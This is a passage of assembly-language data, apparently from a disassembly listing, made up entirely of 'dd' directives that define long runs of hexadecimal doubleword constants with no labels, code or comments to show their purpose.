		dd 9478C84Bh, 0ABA43E90h, 0FC60A5F4h, 0FD823414h, 0E120B358h
		dd 0E5D128E8h, 96A455FCh, 0DCE83Ah, 8F2C91CFh, 174F4732h
		dd 428B2EE9h, 7C196875h, 0F382BD51h, 6643F565h,	5D8784CEh
		dd 0B05B9C5Ch, 694A3FF4h, 97F72DD8h, 0CB5A0D85h, 0C6E95FE9h
		dd 6EE911D8h, 0B19D365Eh, 0A254EFEDh, 0E50681AAh, 0F0412EDFh
		dd 1AD5C685h, 9F28E8F5h, 0D261071Fh, 0DC2DA467h, 0A54CB751h
		dd 0E27FF486h, 0BD70CE9h, 1B9ED5E4h, 9F54C3FEh,	76EEFAB7h
		dd 4831F459h, 0C7741DCBh, 0DAFBE968h, 0D08028DCh, 5B18932Dh
		dd 95159813h, 0E90587F6h, 348D174Ch, 80D2252Fh,	0FA18CAF0h
		dd 0F2816B0Eh, 7541C0A0h, 24FBB850h, 16702709h,	134CADA3h
		dd 0C3B36672h, 23F4BF00h, 0F0BD227Fh, 22310BCBh, 0F62F61ABh
		dd 7E857A0Bh, 905DAB23h, 6613BA69h, 0CBD347AEh,	68517159h
		dd 348C2E1Bh, 0E51049E9h, 4B64E64Ah, 4FEF6EE4h,	0DF6CBE70h
		dd 0A117D3BEh, 3E125078h, 0B0BF79A7h, 0B5DB10D7h, 0ED81D45Ch
		dd 4FD42C8Fh, 7431CDD9h, 88EC043Ah, 0F9BE0082h,	0B166A21Bh
		dd 92762FD5h, 9174EE84h, 81EE68C5h, 2B1A7BDh, 0B222C0F6h
		dd 29588006h, 87BF3097h, 0C8FE9514h, 98649C2h, 163DA0D9h
		dd 7F206DB0h, 7BCC6ED6h, 0E19F2709h, 52BBD790h,	0AFDA0C3Eh
		dd 521D7021h, 330F0FF9h, 49DFCF15h, 0E477A2F6h,	20972413h
		dd 0AE3C44F3h, 2F082FC7h, 47B78CCCh, 0FF303199h, 38EA2AC2h
		dd 1E540F32h, 0C20968C5h, 0F10BDA77h, 0EEC14135h, 971F7102h
		dd 9CAA5BD5h, 9BAC5922h, 0E898E913h, 0E8158DABh, 0AD9B2A19h
		dd 0A4C1AC13h, 8D7BEF68h, 0AFE66F50h, 71E9DE04h, 2464A436h
		dd 5873741Eh, 4C8C5EC9h, 141B385Ch, 4734FF4Fh, 803DD4EBh
		dd 7B1CE6B3h, 10AF104Eh, 0C670895h, 72B0D056h, 59B575Eh
		dd 17D4988h, 760E7BBBh,	0E5AC6A29h, 0E9FF5B30h,	0DEEDDAA8h
		dd 7A44D157h, 8540CE02h, 0A7BCE4F1h, 4E4D5015h,	0E1DEB854h
		dd 42022065h, 28FCE61h,	280F429h, 7A659F2h, 0E077DD42h
		dd 826F2852h, 50FB8257h, 0E781008Eh, 3B257708h,	0B9E1FE60h
		dd 4FB433A8h, 10BEACB1h, 0F4C8848h, 7F298018h, 43C07382h
		dd 5D1B7CEFh, 7C6A971Eh, 57580802h, 5002CC57h, 9DF4FF5Fh
		dd 0C77DEE09h, 0A5E96279h, 801D70DCh, 590EF197h, 7CC1C6E1h
		dd 410FA012h, 827A940Eh, 60B16ABBh, 241BF760h, 21672126h
		dd 0A001326h, 0E945FA19h, 0BC7C5747h, 4461163Eh, 3C595A66h
		dd 23AB3C1h, 9EE050Dh, 0F96A10ABh, 0ECA1070Eh, 87631536h
		dd 7A52E9F7h, 0F2B4F50Bh, 8A87E912h, 4AB7B4C8h,	0F1E8BBh
		dd 0F2B35351h, 171AE380h, 57B439E9h, 788F971h, 86B06185h
		dd 0BCAE2FE4h, 2A8F4F5Eh, 68E0014Ch, 96912F08h,	3B0990A0h
		dd 7859316Ah, 0F7810317h, 38D43F70h, 37957204h,	5C816EC6h
		dd 0C2049DD9h, 0E8774B24h, 0AB704487h, 0FDE2C267h, 98F77248h
		dd 424F1313h, 5901CDECh, 1213B14h, 86F700D7h, 99072F88h
		dd 90027D0Bh, 5E048077h, 0A2EE86AAh, 6746031Fh,	0BC829C9h
		dd 2D55C157h, 41EE6CC1h, 0F86CED61h, 4F1EFC4Fh,	415068B9h
		dd 0A21C4AF7h, 0D80CDFE0h, 96D6D640h, 0EFBC27D3h, 26D166A0h
		dd 0C05D209Dh, 0C204D73Ch, 7244170Ch, 87D23B60h, 0F42F5A81h
		dd 792D2874h, 0E4325DD0h, 5585B17Dh, 0BC4E0837h, 24E389BFh
		dd 39F95B50h, 0C51C4280h, 589D293Ch, 0F6A02ACFh, 2E7F98BAh
		dd 3D2D3D0Bh, 0A6A4AD3Ah, 0C49C167Eh, 0EEE2AAD9h, 0D444AE92h
		dd 68AB4379h, 8626E901h, 5AF77DCh, 944BC4CDh, 886FCEBh
		dd 5D25A80Dh, 0A3B06B3Eh, 0D15B9BBAh, 0FE4E60ECh, 9F681361h
		dd 0C071F82Fh, 462154D8h, 0E8E32DE9h, 0D4C24613h, 0BA3989DFh
		dd 8968774Bh, 152E4EDFh, 0AE02B060h, 0F5820B3Eh, 3F698960h
		dd 148CB3DDh, 0FAD87B0Ah, 37B963Eh, 880FA9BEh, 81E42215h
		dd 0D6838498h, 550E40F3h, 255C9168h, 4D21967Fh,	0CBC42E5Dh
		dd 24FE131Ch, 9985BFB1h, 0D968B6C0h, 322BDA4Ah,	0F3612B3Ah
		dd 0B91889AAh, 283C402h, 281E12F1h, 0ABC0CD29h,	4E041A56h
		dd 0A75BE91Fh, 4253F5BFh, 0F8D080A6h, 553969Eh,	0FE697CCEh
		dd 0C5D4B262h, 38E8A237h, 27A1269Eh, 6F4E4656h,	2D4245D3h
		dd 558529BDh, 0C521E834h, 6D540B22h, 7A5F04F7h,	5EF14484h
		dd 0F5D1A9D2h, 52E828E0h, 0DF20B23Ah, 590E66A8h, 1D1FC304h
		dd 0D1253B2Ch, 7E9571CCh, 13B1C30Ah, 8003FA7Dh,	0B450ADF1h
		dd 1FF4B151h, 0A11DE4E4h, 32A52CECh, 0FFE9CEFEh, 0C7FF5409h
		dd 31D1ADE3h, 906BA0BBh, 787709A2h, 870B3D91h, 0B0261345h
		dd 67CD8516h, 407DE13Fh, 0E3448D57h, 0FD054805h, 583AA58h
		dd 9D8EB9D8h, 0B6FA3F9h, 90DD55FFh, 13AE68B7h, 0AE7A6D15h
		dd 0D1075002h, 7275C109h, 8EC18301h, 641BF196h,	84BA6A23h
		dd 0D4C8A8F6h, 10DB001Ah, 0B3BE25CDh, 4D8F2D08h, 0F7898482h
		dd 41743C42h, 0AF3D1B21h, 550522Ah, 9E72E368h, 92A05F77h
		dd 5EC841Ch, 0C202B693h, 69DC7664h, 0D7B9EF62h,	53681C98h
		dd 0DD3B53h, 0CEB4D9B5h, 0B52EA3E9h, 0C64AC914h, 0F7CC30EBh
		dd 8C4968F9h, 8FE90B41h, 0A763F1F2h, 0B1028445h, 0C4C82870h
		dd 0C3BC71E5h, 0EB295B32h, 4EC859C2h, 7D953433h, 6B20CE96h
		dd 681DC26Ah, 0BE7922BBh, 5702EB20h, 0CF45DABFh, 0CAD1C025h
		dd 5EAD2D6Dh, 0D6407B6Ah, 6182693Eh, 0FF10F5B4h, 61258724h
		dd 5FE65DC3h, 4D9D6815h, 0F9F05E32h, 698A2466h,	1D6B10C0h
		dd 0CBFCF329h, 0DAAF6416h, 0FE9161Ah, 0F9B6FBC0h, 32F07930h
		dd 951267E1h, 65DA4A40h, 5632900h, 22C87E9Eh, 3F6C3A35h
		dd 0F8255180h, 0E93CEE46h, 4B49B449h, 0F27EF7E8h, 2D2596FEh
		dd 0FBD18554h, 800E2968h, 0C56BD7F5h, 59E8A680h, 452C685Bh
		dd 0D7E95004h, 9BABDB30h, 0C93B7E9Fh, 40CF9AE9h, 0B6525EA7h
		dd 0A90C946Eh, 9804F828h, 6E8B5967h, 28FEB12Dh,	0DFD08A09h
		dd 10063206h, 0CC884512h, 71F40100h, 0B066DCF6h, 8A75ED0Ah
		dd 7BB5F17Ah, 1857842Ch, 0E36A8D68h, 0D682F018h, 0FCE10EFCh
		dd 6445C966h, 0CB253370h, 825ADC59h, 54515008h,	33946BCEh
		dd 2902E9C2h, 0B41116F7h, 0BA22A71Ah, 59016E18h, 0E83FD3F7h
		dd 61EAA42Ch, 0F002AB61h, 0DF25E972h, 0D0595E46h, 0D6C2BD2Bh
		dd 81D78658h, 0F6D3888Dh, 0C3DAA3CBh, 0C6FFD55Bh, 0FD67065Dh
		dd 0FAE7EF20h, 7C670BD9h, 0E92D5E19h, 0AAAE7D53h, 962574EBh
		dd 9B30F52h, 5F0B970Eh,	32D2055h, 162EDB3Bh, 0A3F22CE9h
		dd 7E660BC5h, 0F8B75E2h, 9A5D624Ah, 9E4561A6h, 17B11DFCh
		dd 8B5D96E9h, 22164C3Ah, 7700B56Ch, 42A258F4h, 53F49590h
		dd 500F3F25h, 1AE9161Fh, 308ABBDDh, 8EE95081h, 0DDF87AC1h
		dd 0CC80EB81h, 303D21FAh, 84B08B54h, 0CBBAF34Ah, 7F91291h
		dd 4D508ED0h, 81391DA1h, 523046F5h, 76179E62h, 8309C09Dh
		dd 27027ED5h, 84FCDF14h, 0BB102760h, 7AB82E38h,	5F1356Ah
		dd 932C215Fh, 0EBF624F7h, 0DBF6031Bh, 3726E104h, 1CF35B89h
		dd 747585h, 55195FECh, 6C962978h, 4B930820h, 9F10116h
		dd 19868E2Eh, 0C35BA372h, 4804A82Bh, 3F95FAEh, 169FED5Fh
		dd 0A2FCFD7Fh, 4706FA1h
		dd 3CE2F302h, 8B898041h, 9732C008h, 642DFEE0h, 2B920602h
		dd 8905D029h, 89207107h, 147DE0D3h, 2A56D4DEh, 0F66B896h
		dd 0C0D0BA52h, 0EA816C8Ah, 54D43B30h, 80B0E45Ah, 2A751990h
		dd 6806AD0Bh, 2D3E8530h, 1168071Dh, 7A5E1DFCh, 58A0E830h
		dd 0A4D6C435h, 5A62FBCDh, 0AC747C89h, 2D6C1033h, 25A55829h
		dd 4E5FF605h, 72CB5965h, 8CDC282Ch, 5E100166h, 0D87829EAh
		dd 32BD0512h, 6FC945B8h, 258D1B6Dh, 4A7A0A7Eh, 828DC4E0h
		dd 0F968D3B3h, 9CA579D5h, 58E309F3h, 4FE96C30h,	43F4434Bh
		dd 75ADBAFFh, 0B3FB4B68h, 2AC441C1h, 311788CFh,	30C8209Ah
		dd 6748EA50h, 0ED50A8Fh, 243EFAA1h, 3700135Dh, 0E9932D44h
		dd 0EA9DD798h, 8A7E3CD1h, 4FC24795h, 93A89618h,	0ED9C1C99h
		dd 0CFFED060h, 0B9A25E9h, 6C64E4E9h, 0DEC12603h, 89C5273Fh
		dd 403C75FEh, 0BF82EE4Bh, 0C6297FBFh, 6C02EB7Ah, 292DF81Fh
		dd 0B92087Ch, 6DE83187h, 0B5C0B8DFh, 17054AE5h,	213B816h
		dd 3E1F302Dh, 6E57F531h, 4F72BD08h, 72BD0990h, 8F88815Bh
		dd 89B29F79h, 912593A2h, 0BB9C5F04h, 25429F4Eh,	0E97070D6h
		dd 61776036h, 0A42FD0C5h, 904B617Bh, 0C8014AC0h, 7DF4122Dh
		dd 93ED1CD1h, 0ABDABEB9h, 7310CF4Ch, 7CF84AAEh,	54AB1517h
		dd 725122Fh, 0D8494756h, 0E7D99536h, 640EE9C2h,	0EBF20222h
		dd 2D1ED2CCh, 0A0B1AE77h, 2105521Fh, 0FED04801h, 24200845h
		dd 0D7352FE9h, 0E540A791h, 0A9D22B1Fh, 0B977F14h, 5B6AD83Fh
		dd 13E675BEh, 133EF968h, 7DF0B5E9h, 9C7B5C2Ch, 315E244Ch
		dd 0EE6858B3h, 71C29BF4h, 80FF0984h, 0D22B3E3h,	510BBD5Ch
		dd 3A3BE27Ch, 0ED7515F9h, 3C0B4C83h, 1201354h, 84008A8h
		dd 0A22C4F8Bh, 407A9ACAh, 2C2254CEh, 3CD3351h, 31A801E2h
		dd 835FFEF8h, 0E92FFCB8h, 5DA3E2FBh, 5BA539FBh,	0B055A75Eh
		dd 9F64AE1Dh, 24A02E4Eh, 342D2BA2h, 0ED37E170h,	0D58E0845h
		dd 47E95604h, 3350084h,	5A22A57Ah, 803BED89h, 11EACE81h
		dd 6876AFh, 74479EE6h, 0CB9DE918h, 0A15384CFh, 3F406E85h
		dd 56786B21h, 0CD8FF44Eh, 0B241A139h, 0DF399009h, 0CF60F262h
		dd 1D764AFAh, 69F2B0A1h, 2D5F0168h, 1A3A6487h, 0C4421861h
		dd 839979BCh, 1E7A41CBh, 5A964EFh, 0F3523668h, 17B9808h
		dd 783F31BBh, 85647864h, 0B000558h, 7AEB815Eh, 37E32770h
		dd 880C05Ah, 0D76611E9h, 0C2ACB95h, 27807E9Dh, 542F520Ch
		dd 7F52EA3Bh, 44E52C51h, 0BD02C8FCh, 64BEA893h,	164A9084h
		dd 35B1F6F8h, 0D6F70165h, 2E30D671h, 4BD0261Fh,	11CC0553h
		dd 1B02EAA2h, 7FF88340h, 0D9B3580Eh, 143AED3Ah,	0E9C207B8h
		dd 0CFD99904h, 4E16EC43h, 8F8BE891h, 63A68551h,	55A53CEFh
		dd 27D071B5h, 2E983F78h, 0A850FF05h, 0F501455Fh, 3AE73CD3h
		dd 23140E00h, 8018796Eh, 315291E9h, 38D898EBh, 9570AED0h
		dd 96E796FFh, 3FEA098Dh, 98C79EF5h, 9D552732h, 1B889BF9h
		dd 0AC762F40h, 7084425h, 0B551FFC6h, 7AE56013h,	0FC3BB450h
		dd 0F466228h, 5D987547h, 0C93E6D67h, 0D8E5A506h, 0A1EDB7DFh
		dd 0D5FCC48Bh, 39F55EE4h, 62D58496h, 48D2F706h,	0C768840Ch
		dd 2EA1188h, 63CAB57Dh,	9C70D189h, 452016F0h, 2680385Fh
		dd 17E24A26h, 0A1D7B8A9h, 0F73F8D1Bh, 51207B09h, 0F1311D20h
		dd 4560E55Eh, 2AE44E5Dh, 7170897h, 6276E90Bh, 0D6F9FF9Ah
		dd 18F5788h, 1AD982BBh,	0C5B13E0Ah, 0BF5EF3CCh,	0F62FF55Bh
		dd 0E781002Dh, 408C1A97h, 8BCC0997h, 51B784Dh, 241594BEh
		dd 69B6807Fh, 58B51904h, 906F4AE7h, 0E13A9DE0h,	992D747Bh
		dd 5B554621h, 0BAC58579h, 8BFEAFD5h, 20BA4E3Dh,	69F0E9F9h
		dd 6CE22CA0h, 0F6594030h, 5BE053E8h, 7535BC0Dh,	0E3F42541h
		dd 0BE143CF3h, 31DA84Fh, 175BD6CBh, 0DFD0F722h,	9FC2E1ABh
		dd 94806A0Bh, 3DB65009h, 2B4EE97Bh, 0CBF81461h,	515B223Eh
		dd 21D8EB80h, 60B97CCCh, 1EB25F12h, 1278D910h, 24BE885Ah
		dd 2B90F144h, 5CC23DB3h, 83FDD830h, 8457DE6Eh, 0D06BF6FFh
		dd 13F0424Fh, 0FE36E07h, 0B47AAE1Ah, 9CDB6357h,	41E02CB0h
		dd 0E28880BCh, 51326743h, 3680050h, 58413E65h, 5B9DC201h
		dd 6DB43034h, 0B5C3C23h, 8E730E27h, 4C2328Ch, 38CD640h
		dd 3C2D06E0h, 2B69F1A9h, 5CD122AAh, 3D782DC1h, 0E7683F8h
		dd 64BAE8DDh, 0E810058Eh, 0AC5EF229h, 4AC79C86h, 63A6E957h
		dd 5AD195B6h, 85C8DD6Bh, 1806108h, 0DB04BDE8h, 0BB61FB53h
		dd 228060F7h, 30F56856h, 0E2F67755h, 6FAC57E7h,	0E334EFF3h
		dd 88B7D956h, 0A4ABE9C2h, 0D4E18100h, 53CC3B2Bh, 98CC903h
		dd 0C09075Dh, 0F5238Fh,	0FB9F1ABh, 555432B2h, 0BC549DB6h
		dd 0C702F6F0h, 7515C617h, 5EA2AD80h, 0A43853E1h, 0B86B2A7h
		dd 0F38172DEh, 0D4C54798h, 5620E03Fh, 43247B5Fh, 0B475BCBEh
		dd 0E981A0FBh, 71A88B2Fh, 37EE0B7Eh, 0FD62075Ch, 87375CE2h
		dd 0A495CA45h, 5015B127h, 49D6350Fh, 77052825h,	0A0464868h
		dd 0C4BFDBFEh, 1B538C0h, 5966EA0Fh, 0D178E46Bh,	0DBA85C9Fh
		dd 3C36A5Eh, 11D6B154h,	9CE22274h, 0E3DD6935h, 0BAF9541h
		dd 0E80BCAF8h, 0F62D7F74h, 0BDEEA0Dh, 265AD04Dh, 6B60AB31h
		dd 0B0534DAh, 0B678C5A2h, 0DF170B97h, 0D49DD49Eh, 6866C0C7h
		dd 779E7858h, 1DB65281h, 0E02A35B5h, 0B44BE982h, 5C51C8EEh
		dd 2F55C7BDh, 1B5951DEh, 77587C34h, 26BFF48h, 8FF48033h
		dd 0AE9D9F43h, 0E90C119Bh, 0EE33FBD7h, 5B1F7B48h, 0D9FB7B17h
		dd 81832EA7h, 30AEE483h, 9512F67Ah, 0CCFC7AFAh,	2C6A8397h
		dd 0C53EB90Fh, 0AB922C78h, 2A682FB4h, 20AD06FAh, 709F9342h
		dd 0AEDA4B76h, 780E955Bh, 3360FB16h, 63509598h,	7A477097h
		dd 0FF129DBBh, 5667F940h, 517BB300h, 0EEDDF5B9h, 0E91EC4F2h
		dd 0CF52FE3Ah, 451638ACh, 5E913442h, 6AF3CBE0h,	2018C45Dh
		dd 5F5D5EE0h, 1E620755h, 0B6D27CBEh, 6263D692h,	0EE208F40h
		dd 0B8BB15ACh, 0F1442A44h, 6DC53CABh, 0E18D9F15h, 3863F203h
		dd 0C042C6Ah, 64890A8Bh, 437B4000h, 0D29F2177h,	6AE009BBh
		dd 0E40012A1h, 9DA7D1ECh, 0BAA2EFFh, 65575128h,	0CEE9C2EDh
		dd 800E045Ch, 0A30337E6h, 4DF58898h, 0D10A1EFAh, 5A057E0h
		dd 817C7279h, 3041D99Fh, 0F612355Ah, 0B8E0B68Fh, 33F84B09h
		dd 35A0255Ah, 5E44148h,	0F7CA820Dh, 3AF8C0BEh, 63E297A0h
		dd 563BA458h, 88B89351h, 31E21327h, 8DF9F59Dh, 0E1AFCA29h
		dd 1B7056D5h, 8E209D27h, 5EBF2FFAh, 27009BFh, 0DF9CA8A4h
		dd 0DF2F2745h, 7092759Eh, 61077997h, 2A58F868h,	55E0DFCDh
		dd 0BC535F38h, 56BB5ACFh, 6FCEAEFEh, 6BE95306h,	0B9020C7Dh
		dd 3AAB60BFh, 1E464031h, 0C392B52Eh, 74013940h,	0FE8B8194h
		dd 0FEAA6610h, 0C804B5A4h, 321C151h, 7E8F7961h,	4E383B25h
		dd 0E941FD29h, 0FC05867Dh, 3F600406h, 50AA5457h, 1C610815h
		dd 410E5D6Dh, 16F94C9h,	0A36A5958h, 0CCFED28Fh,	0DB38683Dh
		dd 0C8AC5F20h, 42D8ABD6h, 0CA569F5Bh, 7045F813h, 4AA9FB6h
		dd 0BFEE9C2Eh, 0FAE552ACh, 44FE8E57h, 0B545EA06h, 726BDCAAh
		dd 689D1897h, 27764A94h, 0B91887FBh, 5F443E71h,	3E0368C0h
		dd 684F58D1h, 0EBB3844Ah, 0E36B372Dh, 1BF2D87h,	33C78077h
		dd 0BB08BEE0h, 67923C67h, 0C2E2BA8Ch, 0FF5192DFh, 0B245022Ch
		dd 1E4597ADh, 5CBF802Ah, 1FA9DB96h, 43169271h, 9C4CF0ACh
		dd 0E7985020h, 3C22BB13h
		dd 84DEA709h, 0B7035CF1h, 0BFBDF60Dh, 50CF51C1h, 0F6BEFCDh
		dd 0C26BDAA8h, 0D041827Fh, 0E36340E2h, 599A835Ah, 482C8577h
		dd 0F28058D1h, 1C3D8D41h, 27BE6354h, 0B193D559h, 71E42B30h
		dd 7FBF4257h, 7776A727h, 6CE1D610h, 0FBB592A8h,	794A9A98h
		dd 0BB0CA281h, 9E5FC730h, 852D9D2Eh, 0C278F94Dh, 66049067h
		dd 499F07B9h, 682BEFB7h, 548EC67Fh, 4FB443BBh, 0B2A24439h
		dd 0BB64BF8Ah, 85651DC3h, 5EB7DEFBh, 0C72C3EECh, 7F68898Bh
		dd 0BD60EC54h, 5FDC1683h, 6E52EB0Dh, 9B90030Ah,	0F1F03062h
		dd 160EACD0h, 85C70EB0h, 0A0F2C36Fh, 6EEBEBFAh,	1F3D060Eh
		dd 7F7C9628h, 0F6C0E502h, 0F797E9DDh, 0ECA84B71h, 577E422Fh
		dd 8CFC0016h, 0B9449F5Bh, 0E912A22Fh, 3FF1046Bh, 5B8118A8h
		dd 48F17925h, 18AF4720h, 0C1C6B2Bh, 772C399Ch, 640F1152h
		dd 800C6F69h, 0FA3DABC9h, 8524C060h, 296D2070h,	1A59CA2Dh
		dd 9A31844Ah, 0F205FDD5h, 0F3EBBC7Fh, 0F70969FFh, 1E6AFE2Bh
		dd 9C0EEB7Dh, 0A2B50CECh, 4A0192EEh, 56F07233h,	2ED8030h
		dd 0E94BAF45h, 42544A21h, 575AE5C2h, 20B4459h, 0EBE2C803h
		dd 0F7799F3Fh, 16645F08h, 0BA5B5656h, 0FC9B2806h, 0F3DA9F40h
		dd 0F0EACFEFh, 0C124B8C1h, 84EC45FEh, 0E9FB2870h, 3CE78134h
		dd 47601CFAh, 0C26BF344h, 717D5C17h, 7125C361h,	32FFC31Eh
		dd 985A850Bh, 1668BA4Eh, 0F779947h, 4B249A7Eh, 0F794AF02h
		dd 98E90805h, 0C76B49EBh, 5E8CC07Dh, 7FF4C856h,	11704428h
		dd 0B450D30Fh, 0F2F404E3h, 0BF6D12AEh, 27687BB4h, 0F29E7DCBh
		dd 0FD537F96h, 4BFFCFABh, 276B9CBAh, 9A01CB4Ch,	81DD27B2h
		dd 3F2991B0h, 0B6E09D34h, 0E25AE8BAh, 7B0443B9h, 0A601E52h
		dd 3C28072Dh, 0B8400097h, 5A7830CAh, 4F6DBC15h,	662F4FA8h
		dd 0F1801B01h, 0A2052E7Bh, 0AD82ECD0h, 5F584A6Eh, 0CDA4A6D3h
		dd 0D4B97C42h, 3DEE815Eh, 404F45F3h, 80367FB9h,	11BA964Eh
		dd 0BC0490AAh, 0A088F19h, 0F92707EAh, 78290C6Eh, 7AFF2150h
		dd 2D59BBA4h, 0FC7C22A1h, 909F587Ah, 25151CB9h,	13B6E429h
		dd 0EA31BBEFh, 0FDE8525Bh, 4B22B93Fh, 28008845h, 2C5A66D7h
		dd 2F8EC94h, 0C06AB353h, 486102EBh, 2435309Bh, 2F3A644h
		dd 88D6CDE5h, 0C480DA89h, 128C56C2h, 50D0012Ch,	0DD0C7100h
		dd 0ECE812Ch, 16EB3BB5h, 471CE6C1h, 0D17B2178h,	0C05B0FDAh
		dd 21B41AA9h, 15F2E915h, 0B7CC9661h, 17D25A31h,	0C1ADE2A5h
		dd 3085624Dh, 288A2420h, 24E60C03h, 16E608E3h, 3EAAC905h
		dd 9A3EE4E1h, 44604855h, 0F70905FCh, 8FB15875h,	708689A6h
		dd 68AD09F8h, 2E460B7Eh, 0AF6A7D01h, 6C59E943h,	0B65F377Ah
		dd 0C505D90Eh, 8D805D8Bh, 6FC3A1AEh, 5A210086h,	2DB5BD2Dh
		dd 0BFC25E05h, 590EBCA7h, 0AA58D2BFh, 2201B075h, 11A13C51h
		dd 3839B17Eh, 49E90829h, 98680735h, 0C5F70B77h,	4C55A5F7h
		dd 90D89FA0h, 0E6ADE95Bh, 1708FE5Ah, 4313599h, 0B2B5541h
		dd 0E94ADD50h, 0B6136A7Ch, 0CB55DF0h, 0A8CD807Ah, 0FE765E06h
		dd 21B62BFEh, 0F364227h, 2263C089h, 95EE8943h, 0B6A23EFFh
		dd 6E745A4Ah, 0A558E90Bh, 0C0FB5AEEh, 0D130056Fh, 0FDC0E1EDh
		dd 3F84C903h, 0B3EFD412h, 0A3ACD245h, 0CEE950A0h, 25BE76B5h
		dd 4620A358h, 4B51604Eh, 20514D4h, 0ED515D78h, 7CBE2E07h
		dd 7C5D3AC3h, 42331036h, 1E3C4EDFh, 889FE12h, 7626B028h
		dd 48BD8397h, 0A4BFED5Ah, 3099F10Ch, 6658F445h,	7002C946h
		dd 0AA284E67h, 9343F24Eh, 0DB852DFAh, 16DCF5F3h, 6CBD09AAh
		dd 3FF84F58h, 310A5762h, 9FB2F5FEh, 834736A6h, 0D30231B0h
		dd 2118CE0Eh, 8C87FFCDh, 0C1AA450Ch, 1D14F0Ch, 3A3078B3h
		dd 4A22F407h, 12A3A6D4h, 0A0368E97h, 0BDF49FBCh, 45C9261Fh
		dd 4C6C205Ch, 0B63F847Ch, 9D2550ADh, 0FC417425h, 44D5005Bh
		dd 0EAD1698Ch, 4EF28702h, 0D16506E9h, 5F138B80h, 0DDB63A9Eh
		dd 0D5E5790Ah, 0DF506AA7h, 7B579ECAh, 2546239Ah, 0C8666EF7h
		dd 2D1756E2h, 8B3197EDh, 57097489h, 4FFE823Eh, 752F07F1h
		dd 0D3063A99h, 3AAE8B10h, 6587B50h, 0FE2CCA80h,	0F2EE04C2h
		dd 1F28D224h, 13F1508h,	2564092Dh, 0B1FC3E72h, 97763725h
		dd 2EEF373h, 58DDB867h,	5C411E9Fh, 82D16AA0h, 5BE55502h
		dd 0A27B122Ah, 0DBD2DF6Ch, 5A5C0E81h, 2637B67Eh, 0F78BA97Bh
		dd 918ED5DFh, 0E56A45B7h, 0FF80166Ah, 5EF526C0h, 0BD924968h
		dd 0E90F614Eh, 5EF76C31h, 1E1F47BBh, 6F3AF718h,	6FC78E20h
		dd 0CF5C315Fh, 3AF92539h, 0C09C42A4h, 0C4A77618h, 0C406EDDBh
		dd 587DF084h, 0D9245D7Fh, 5B654DC2h, 702CF72Ch,	66D0077Ah
		dd 4C1F2368h, 19D2B2EBh, 964CE2ABh, 63204089h, 12AD693h
		dd 3016C1D4h, 0C2C7ACFh, 8AE04B2Ah, 56DA5038h, 252B0C58h
		dd 85986279h, 0C1934DD0h, 56D3D789h, 0EE465B1Ah, 5FB89D68h
		dd 0FDF53114h, 5F2C017Fh, 0E9042620h, 25706BC9h, 58E970DFh
		dd 0B3A7DE1Fh, 3600B268h, 0C3602FB8h, 4FC7316Dh, 47B5E058h
		dd 0DF02F9A2h, 0DF5A7C3Fh, 5EBB492Dh, 6855A86h,	5E91E29Ch
		dd 58A692D8h, 71814806h, 6F2D6313h, 0B5F15A35h,	4C0D47Bh
		dd 0C6348Ah, 0BA55E2BDh, 57524C21h, 1168C005h, 82FE0812h
		dd 0DDF58001h, 9857EB28h, 68ADCDD2h, 88197007h,	499DF5DAh
		dd 26725E4Bh, 32886809h, 71626B5Eh, 68A65648h, 58581470h
		dd 0FCC6E982h, 6BAF597Fh, 5AEDECDFh, 47313DDh, 2351F06h
		dd 65EDD14Dh, 4CBA9F67h, 9E620927h, 9B95D40h, 34D0478Bh
		dd 6215D77Eh, 51CE02E5h, 80739906h, 0C04B6BC4h,	5E0CC142h
		dd 7A5C6550h, 0B19B3F02h, 0B5E6E0A4h, 121A252Bh, 8A04376h
		dd 0EF806F92h, 70837718h, 9DAA60ACh, 33EF80E7h,	7EB6521Fh
		dd 539EF649h, 90ADBD14h, 0BB92D789h, 0CB8482C4h, 4BBD9820h
		dd 2C4FC29h, 27253BC1h,	6572F74Bh, 28E211D6h, 0E9029C92h
		dd 0F289CA98h, 1A306F5Fh, 5C5A5952h, 0AA21EC92h, 487B7302h
		dd 4F16E34Ch, 2198D22Fh, 0EF4FCCD4h, 0B5407075h, 0BAAD4ADEh
		dd 0AC4B038Fh, 5E19010Bh, 32E96BC4h, 95B90824h,	939032F2h
		dd 7A53E309h, 2FA5D64h,	7213F19Fh, 687968DDh, 32314F44h
		dd 0E9220187h, 0BFD578D2h, 8739B776h, 613B04A0h, 2C56F366h
		dd 12C94033h, 44F3EF9Ah, 60234C80h, 6A85111h, 33C28EE9h
		dd 467E6E68h, 0BDB07887h, 0C4E9DEE0h, 0D6A0419Ah, 0F995E110h
		dd 0C921C440h, 8E12A6F8h, 39A1E904h, 6708DCFBh,	0F00E24EBh
		dd 0D8DBB0B5h, 6C7E95C9h, 0C60BD258h, 2452BF0Bh, 0C93EFE97h
		dd 50A7A077h, 28486856h, 2AF3E527h, 986B86F0h, 0B27340D0h
		dd 71C0CEC4h, 542B89BEh, 4851A846h, 76094FFFh, 9BE6575Dh
		dd 8740B2B0h, 58192D68h, 5AC58994h, 0AC446D78h,	54326AB3h
		dd 306AB079h, 8E670B01h, 7E305620h, 842B17CFh, 0ABD0BF07h
		dd 0E5E04A72h, 879C8DBh, 0D14D5947h, 77E10F78h,	0C7C05240h
		dd 286FF3Ah, 1290D7B2h,	0E151380Bh, 0D656042Bh,	3E560412h
		dd 815D007Fh, 5CA004F2h, 0D62A7A9Bh, 7DE910EEh,	545C1744h
		dd 3BE1BCECh, 51B87FAEh, 49BD55B0h, 16511913h, 242E02EEh
		dd 0DB001DECh, 121FFD3Dh, 0FA5DEE01h, 5DE91798h, 0BA2F6AA9h
		dd 22D0A52Bh, 6EF43F31h, 50307EB5h, 0D6F60D6Eh,	3008CEFEh
		dd 5782B2B4h, 1D5175C0h, 6DFC0876h, 90E4C205h, 0CE04F789h
		dd 0F16E013h, 7209082Dh, 0B1D905A9h, 4B5C6804h,	0E916C4F9h
		dd 6056A140h, 799FEE7Fh
		dd 655FEBBFh, 8B45CAC0h, 7E94830Ch, 6959517Ch, 4C0B4B53h
		dd 947EDE89h, 7407F503h, 6E01CF7Eh, 0F94E6461h,	68032065h
		dd 9846B92Dh, 0E0919792h, 0BB295F9Ah, 512A253h,	12098AEAh
		dd 5BF9577Eh, 0AF1E7DBh, 0D9032566h, 0DB0975A3h, 0C087242Ch
		dd 5693CD26h, 3CB647ADh, 1ABD9B7Ah, 38D955BBh, 928EF16Bh
		dd 3A85BA68h, 69A0D516h, 215B38BEh, 4B724125h, 749950E0h
		dd 5A5291ADh, 9F5E7E60h, 0C1473C1Ah, 672157ADh,	235B7C68h
